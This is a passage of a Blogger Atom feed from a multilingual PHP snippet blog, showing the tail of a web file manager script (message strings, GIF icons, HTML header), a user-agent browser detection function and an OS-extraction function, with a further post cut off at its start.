have been deleted:\n[%1]",&lt;br /&gt;'not_deleted' =&gt; "These files could not be deleted:\n[%1]",&lt;br /&gt;'rename_file' =&gt; 'Rename file:',&lt;br /&gt;'renamed' =&gt; '"[%1]" has been renamed to "[%2]".',&lt;br /&gt;'not_renamed' =&gt; '"[%1] could not be renamed to "[%2]".',&lt;br /&gt;'move_files' =&gt; 'Move these files:',&lt;br /&gt;'moved' =&gt; "These files have been moved to \"[%2]\":\n[%1]",&lt;br /&gt;'not_moved' =&gt; "These files could not be moved to \"[%2]\":\n[%1]",&lt;br /&gt;'copy_files' =&gt; 'Copy these files:',&lt;br /&gt;'copied' =&gt; "These files have been copied to \"[%2]\":\n[%1]",&lt;br /&gt;'not_copied' =&gt; "These files could not be copied to \"[%2]\":\n[%1]",&lt;br /&gt;'not_edited' =&gt; '"[%1]" can not be edited.',&lt;br /&gt;'executed' =&gt; "\"[%1]\" has been executed successfully:\n{%2}",&lt;br /&gt;'not_executed' =&gt; "\"[%1]\" could not be executed successfully:\n{%2}",&lt;br /&gt;'saved' =&gt; '"[%1]" has been saved.',&lt;br /&gt;'not_saved' =&gt; '"[%1]" could not be saved.',&lt;br /&gt;'symlinked' =&gt; 'Symlink from "[%2]" to "[%1]" has been created.',&lt;br /&gt;'not_symlinked' =&gt; 'Symlink from "[%2]" to "[%1]" could not be created.',&lt;br /&gt;'permission_for' =&gt; 'Permission of "[%1]":',&lt;br /&gt;'permission_set' =&gt; 'Permission of "[%1]" was set to [%2].',&lt;br /&gt;'permission_not_set' =&gt; 'Permission of "[%1]" could not be set to [%2].',&lt;br /&gt;'not_readable' =&gt; '"[%1]" can not be read.'&lt;br /&gt;        );&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function getimage ($image) {&lt;br /&gt;    switch ($image) {&lt;br /&gt;    case 'file':&lt;br /&gt;        return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');&lt;br /&gt;    case 'folder':&lt;br /&gt;        return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');&lt;br /&gt;    case 'hidden_file':&lt;br /&gt;        return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');&lt;br /&gt;    case 'link':&lt;br /&gt;        return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');&lt;br /&gt;    case 'smiley':&lt;br /&gt;        return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');&lt;br /&gt;    case 'arrow':&lt;br /&gt;        return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function html_header () {&lt;br /&gt;    global $site_charset;&lt;br /&gt;&lt;br /&gt;    echo &amp;lt;&amp;lt;&amp;lt;END&lt;br /&gt;&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"&lt;br /&gt;     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;&lt;br /&gt;&amp;lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;br /&gt;&amp;lt;head&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;meta http-equiv="Content-Type" content="text/html; charset=$site_charset" /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;title&gt;webadmin.php&amp;lt;/title&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;style type="text/css"&gt;&lt;br /&gt;body { font: small sans-serif; text-align: center }&lt;br /&gt;img { width: 17px; height: 13px }&lt;br /&gt;a, a:visited { text-decoration: none; color: navy }&lt;br /&gt;hr { border-style: none; height: 1px; background-color: silver; color: silver }&lt;br /&gt;#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }&lt;br /&gt;#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }&lt;br /&gt;.listing th, .listing td { padding: 1px 3pt 0 3pt }&lt;br /&gt;.listing th { border: 1px solid silver }&lt;br /&gt;.listing td { border: 1px solid #ddd; background: white }&lt;br /&gt;.listing .checkbox { text-align: center }&lt;br /&gt;.listing .filename { text-align: left }&lt;br /&gt;.listing .size { text-align: right }&lt;br /&gt;.listing th.permission { text-align: left }&lt;br /&gt;.listing td.permission { font-family: monospace }&lt;br /&gt;.listing .owner { text-align: left }&lt;br /&gt;.listing .group { text-align: left }&lt;br /&gt;.listing .functions { text-align: left }&lt;br /&gt;.listing_footer td { background: #eee; border: 1px solid silver }&lt;br /&gt;#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }&lt;br /&gt;#directory { background: #eee; border: 1px solid silver }&lt;br /&gt;#upload { padding-top: 1em }&lt;br /&gt;#create { padding-bottom: 1em }&lt;br /&gt;.small, .small option { font-size: x-small }&lt;br /&gt;textarea { border: none; background: white }&lt;br /&gt;table.dialog { margin-left: auto; margin-right: auto }&lt;br /&gt;td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }&lt;br /&gt;#permission { margin-left: auto; margin-right: auto }&lt;br /&gt;#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }&lt;br /&gt;td.permission_action { text-align: right }&lt;br /&gt;#symlink { background: #eee; border: 1px solid silver }&lt;br /&gt;#symlink td { text-align: left; padding: 3pt }&lt;br /&gt;#red_button { width: 120px; color: #400 }&lt;br /&gt;#green_button { width: 120px; color: #040 }&lt;br /&gt;#error td { background: maroon; color: white; border: 1px solid silver }&lt;br /&gt;#notice td { background: green; color: white; border: 1px solid silver }&lt;br /&gt;#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }&lt;br /&gt;code { font-size: 12pt }&lt;br /&gt;td { white-space: nowrap }&lt;br /&gt;&amp;lt;/style&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;script type="text/javascript"&gt;&lt;br /&gt;&amp;lt;!--&lt;br /&gt;function activate (name) {&lt;br /&gt;    if (document &amp;&amp; document.forms[0] &amp;&amp; document.forms[0].elements['focus']) {&lt;br /&gt;        document.forms[0].elements['focus'].value = name;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;//--&gt;&lt;br /&gt;&amp;lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/head&gt;&lt;br /&gt;&amp;lt;body&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;END;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function html_footer () {&lt;br /&gt;&lt;br /&gt;    echo &amp;lt;&amp;lt;&amp;lt;END&lt;br /&gt;&amp;lt;/body&gt;&lt;br /&gt;&amp;lt;/html&gt;&lt;br /&gt;END;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function notice ($phrase) {&lt;br /&gt;    global $cols;&lt;br /&gt;&lt;br /&gt;    $args = func_get_args();&lt;br /&gt;    array_shift($args);&lt;br /&gt;&lt;br /&gt;    return '&amp;lt;tr id="notice"&gt;&lt;br /&gt;    &amp;lt;td colspan="' . $cols . '"&gt;' . phrase($phrase, $args) . '&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function error ($phrase) {&lt;br /&gt;    global $cols;&lt;br /&gt;&lt;br /&gt;    $args = func_get_args();&lt;br /&gt;    array_shift($args);&lt;br /&gt;&lt;br /&gt;    return '&amp;lt;tr id="error"&gt;&lt;br /&gt;    &amp;lt;td colspan="' . $cols . '"&gt;' . phrase($phrase, $args) . '&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;';&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-4339042771127138962?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/4339042771127138962/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=4339042771127138962&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/4339042771127138962'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/4339042771127138962'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/php-file-manager-gestionnaire-de.html' title='[PHP] File manager | Gestionnaire de fichiers'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-6068414643437432659</id><published>2010-01-11T18:53:00.000-08:00</published><updated>2010-01-12T04:57:43.006-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iexplorer'/><category scheme='http://www.blogger.com/atom/ns#' term='version'/><category scheme='http://www.blogger.com/atom/ns#' term='firefox'/><category scheme='http://www.blogger.com/atom/ns#' term='safari'/><category scheme='http://www.blogger.com/atom/ns#' term='chrome'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='opera'/><category scheme='http://www.blogger.com/atom/ns#' term='navigateur'/><category scheme='http://www.blogger.com/atom/ns#' term='mozilla'/><title type='text'>[PHP] Detect the browser and the version | Détecter le navigateur et sa vesrion</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;li&gt;&lt;a href="#A25132668856531380"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#B25132668856531380"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#C25132668856531380"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#D25132668856531380"&gt;&lt;span&gt;PHP&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div id="A25132668856531380"&gt;&lt;div style="text-align: left;"&gt;Détecter le navigateur et la version..&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;... À appeler sans arguments&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B25132668856531380"&gt;&lt;div style="text-align: left;"&gt;Detects the browser and its version...&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;... Call without arguments.&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C25132668856531380"&gt;&lt;div style="text-align: right;"&gt;يكشف المتصفح ونسخته&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;تنادى بدون معطيات&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D25132668856531380"&gt;&lt;a onClick='opennew("D25132668856531380")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: php;"&gt;&amp;lt;?&lt;br /&gt;//#################################################&lt;br /&gt;// find more codes on scripts-n-codes.blogspot.com&lt;br /&gt;//#################################################&lt;br /&gt;function browser($ua) &lt;br /&gt;{ &lt;br /&gt;    if (preg_match('/bot/i', $ua) || preg_match('/crawl/i', $ua) || preg_match('/yahoo\!/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        $return['name'] = 'Bot'; &lt;br /&gt;        $return['version'] = 'Unknown'; &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/opera/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/Opera(\/| )([0-9\.]+)(u)?(\d+)?/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'Opera'; &lt;br /&gt;        unset($b[0], $b[1]); &lt;br /&gt;        $return['version'] = implode('', $b); &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/msie/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/MSIE ([0-9\.]+)(b)?/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'Internet Explorer'; &lt;br /&gt;        unset($b[0]); &lt;br /&gt;        $return['version'] = implode('', $b); &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/omniweb/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/OmniWeb\/([0-9\.]+)/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'OmniWeb'; &lt;br /&gt;        if (isset($b[1])) &lt;br /&gt;            $return['version'] = $b[1]; &lt;br /&gt;        else &lt;br /&gt;            $return['version'] = 'Unknown'; &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/icab/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/iCab\/([0-9\.]+)/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'iCab'; &lt;br /&gt;        $return['version'] = $b[1]; &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/Chrome/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;     $return['name'] = 'Chrome'; &lt;br /&gt;     preg_match('/Chrome\/([0-9\.]+)/i', $ua, $b); &lt;br /&gt;        $return['version'] = $b[1]; &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/safari/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/Safari\/([0-9\.]+)/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'Safari'; &lt;br /&gt;        $return['version'] = $b[1]; &lt;br /&gt;        switch ($return['version']) &lt;br /&gt;        { &lt;br /&gt;            case '412': &lt;br /&gt;            case '412.2': &lt;br /&gt;            case '412.2.2': &lt;br /&gt;                $return['version'] = '2.0'; &lt;br /&gt;            break; &lt;br /&gt;            case '412.5': &lt;br /&gt;            $return['version'] = '2.0.1'; &lt;br /&gt;            break; &lt;br /&gt;            case '416.12': &lt;br /&gt;            case '416.13': &lt;br /&gt;                $return['version'] = '2.0.2'; &lt;br /&gt;            break; &lt;br /&gt;            case '100': &lt;br /&gt;                $return['version'] = '1.1'; &lt;br /&gt;            break; &lt;br /&gt;            case '100.1': &lt;br /&gt;                $return['version'] = '1.1.1'; &lt;br /&gt;            break; &lt;br /&gt;            case '125.7': &lt;br /&gt;            case '125.8': &lt;br /&gt;                $return['version'] = '1.2.2'; &lt;br /&gt;            break; &lt;br /&gt;            case '125.9': &lt;br /&gt;                $return['version'] = '1.2.3'; &lt;br /&gt;            break; &lt;br /&gt;            case '125.11': &lt;br /&gt;            case '125.12': &lt;br /&gt;                $return['version'] = '1.2.4'; &lt;br /&gt;            break; &lt;br /&gt;            case '312': &lt;br /&gt;                $return['version'] = '1.3'; &lt;br /&gt;            break; &lt;br /&gt;            case '312.3': &lt;br /&gt;            case '312.3.1': &lt;br /&gt;                $return['version'] = '1.3.1'; &lt;br /&gt;            break; &lt;br /&gt;            case '85.5': &lt;br /&gt;                $return['version'] = '1.0'; &lt;br /&gt;            break; &lt;br /&gt;            case '85.7': &lt;br /&gt;                $return['version'] = '1.0.2'; &lt;br /&gt;            break; &lt;br /&gt;            case '85.8': &lt;br /&gt;            case '85.8.1': &lt;br /&gt;                $return['version'] = '1.0.3'; &lt;br /&gt;            break; &lt;br /&gt;        } &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/konqueror/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/Konqueror\/([0-9\.]+)(\-rc)?(\d+)?/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'Konqueror'; &lt;br /&gt;        unset($b[0]); &lt;br /&gt;        $return['version'] = implode('', $b); &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/Flock/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/Flock\/([0-9\.]+)(\+)?/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'Flock'; &lt;br /&gt;        unset($b[0]); &lt;br /&gt;        $return['version'] = implode('', $b); &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/firebird/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/Firebird\/([0-9\.]+)(\+)?/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'Firebird'; &lt;br /&gt;        unset($b[0]); &lt;br /&gt;        $return['version'] = implode('', $b); &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/phoenix/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/Phoenix\/([0-9\.]+)(\+)?/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'Phoenix'; &lt;br /&gt;        unset($b[0]); &lt;br /&gt;        $return['version'] = implode('', $b); &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/firefox/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/Firefox\/([0-9\.]+)(\+)?/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'Firefox'; &lt;br /&gt;        unset($b[0]); &lt;br /&gt;        $return['version'] = implode('', $b); &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/chimera/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/Chimera\/([0-9\.]+)(a|b)?(\d+)?(\+)?/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'Chimera'; &lt;br /&gt;        unset($b[0]); &lt;br /&gt;        $return['version'] = implode('', $b); &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/camino/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/Camino\/([0-9\.]+)(a|b)?(\d+)?(\+)?/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'Camino'; &lt;br /&gt;        unset($b[0]); &lt;br /&gt;        $return['version'] = implode('', $b); &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/seamonkey/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/SeaMonkey\/([0-9\.]+)(a|b)?/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'SeaMonkey'; &lt;br /&gt;        unset($b[0]); &lt;br /&gt;        $return['version'] = implode('', $b); &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/galeon/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/Galeon\/([0-9\.]+)/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'Galeon'; &lt;br /&gt;        $return['version'] = $b[1]; &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/epiphany/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/Epiphany\/([0-9\.]+)/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'Epiphany'; &lt;br /&gt;        $return['version'] = $b[1]; &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/mozilla\/5/i', $ua) || preg_match('/gecko/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/rv(:| )([0-9\.]+)(a|b)?/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'Mozilla'; &lt;br /&gt;        unset($b[0], $b[1]); &lt;br /&gt;        $return['version'] = implode('', $b); &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/mozilla\/4/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/Mozilla\/([0-9\.]+)/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'Netscape'; &lt;br /&gt;        $return['version'] = $b[1]; &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/lynx/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/Lynx\/([0-9\.]+)/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'Lynx'; &lt;br /&gt;        $return['version'] = $b[1]; &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/links/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/Links \(([0-9\.]+)(pre)?(\d+)?/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'Links'; &lt;br /&gt;        unset($b[0]); &lt;br /&gt;        $return['version'] = implode('', $b); &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/curl/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/curl\/([0-9\.]+)/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'cURL'; &lt;br /&gt;        $return['version'] = $b[1]; &lt;br /&gt;    } &lt;br /&gt;    elseif (preg_match('/wget/i', $ua)) &lt;br /&gt;    { &lt;br /&gt;        preg_match('/Wget\/([0-9\.]+)/i', $ua, $b); &lt;br /&gt;        $return['name'] = 'Wget'; &lt;br /&gt;        $return['version'] = $b[1]; &lt;br /&gt;    } &lt;br /&gt;    else &lt;br /&gt;    { &lt;br /&gt;        $return['name'] = 'Unknown'; &lt;br /&gt;        $return['version'] = 'Unknown'; &lt;br /&gt;    } &lt;br /&gt;    return $return; &lt;br /&gt;}&lt;br /&gt;// eg.&lt;br /&gt;$browser = browser($_SERVER['HTTP_USER_AGENT']);&lt;br /&gt;?&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-6068414643437432659?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/6068414643437432659/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=6068414643437432659&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/6068414643437432659'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/6068414643437432659'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/php-detect-browser-and-version-detecter.html' title='[PHP] Detect the browser and the version | Détecter le navigateur et sa vesrion'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-3121433886687510716</id><published>2010-01-11T18:47:00.000-08:00</published><updated>2010-01-12T04:57:53.656-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='système d&apos;exploitation'/><category scheme='http://www.blogger.com/atom/ns#' term='os'/><category scheme='http://www.blogger.com/atom/ns#' term='$_server'/><category scheme='http://www.blogger.com/atom/ns#' term='Extract'/><category scheme='http://www.blogger.com/atom/ns#' term='extraire'/><category scheme='http://www.blogger.com/atom/ns#' term='HTTP_USER_AGENT'/><title type='text'>[PHP] Extract OS from HTTP header | Extraire le système d'exploitation de l'entête HTTP</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;li&gt;&lt;a href="#A28953587915748356"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#B28953587915748356"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#C28953587915748356"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#D28953587915748356"&gt;&lt;span&gt;PHP&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div id="A28953587915748356"&gt;&lt;div style="text-align: left;"&gt;Extraire le système d'exploitation à partir de l'entête HTTP reçu...&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;... À appeler sans arguments&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B28953587915748356"&gt;&lt;div style="text-align: left;"&gt;Extract the operating system from the received HTTP header...&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;... Call without arguments.&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C28953587915748356"&gt;&lt;div style="text-align: right;"&gt;HTTP&amp;nbsp;استخراج نظام التشغيل من رأس الطلب&amp;nbsp;&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;تنادى بدون معطيات&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D28953587915748356"&gt;&lt;a onClick='opennew("D28953587915748356")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: php;"&gt;&amp;lt;?&lt;br /&gt;//#################################################&lt;br /&gt;// find more codes on scripts-n-codes.blogspot.com&lt;br /&gt;//#################################################&lt;br /&gt;function extract_os() {&lt;br /&gt; $user_parts = explode(";", $_SERVER['HTTP_USER_AGENT']);&lt;br /&gt; $os = trim($user_parts[2]);&lt;br /&gt; $os = str_replace(')', '', $os);&lt;br /&gt; if($os == '') $os = 'unknown';&lt;br /&gt; return $os;  &lt;br /&gt;}&lt;br /&gt;?&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-3121433886687510716?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/3121433886687510716/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=3121433886687510716&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/3121433886687510716'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/3121433886687510716'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/php-extract-os-from-http-header.html' title='[PHP] Extract OS from HTTP header | Extraire le système d&apos;exploitation de l&apos;entête HTTP'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-6225220901731132106</id><published>2010-01-11T18:30:00.000-08:00</published><updated>2010-01-12T04:55:53.758-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='get contents'/><category scheme='http://www.blogger.com/atom/ns#' term='get_file_contents'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><title type='text'>[PHP] Simply gets HTML contents of a URL | Récupérer simplement le contenu HTML d'une page web</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;li&gt;&lt;a href="#A95872230920940640"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a 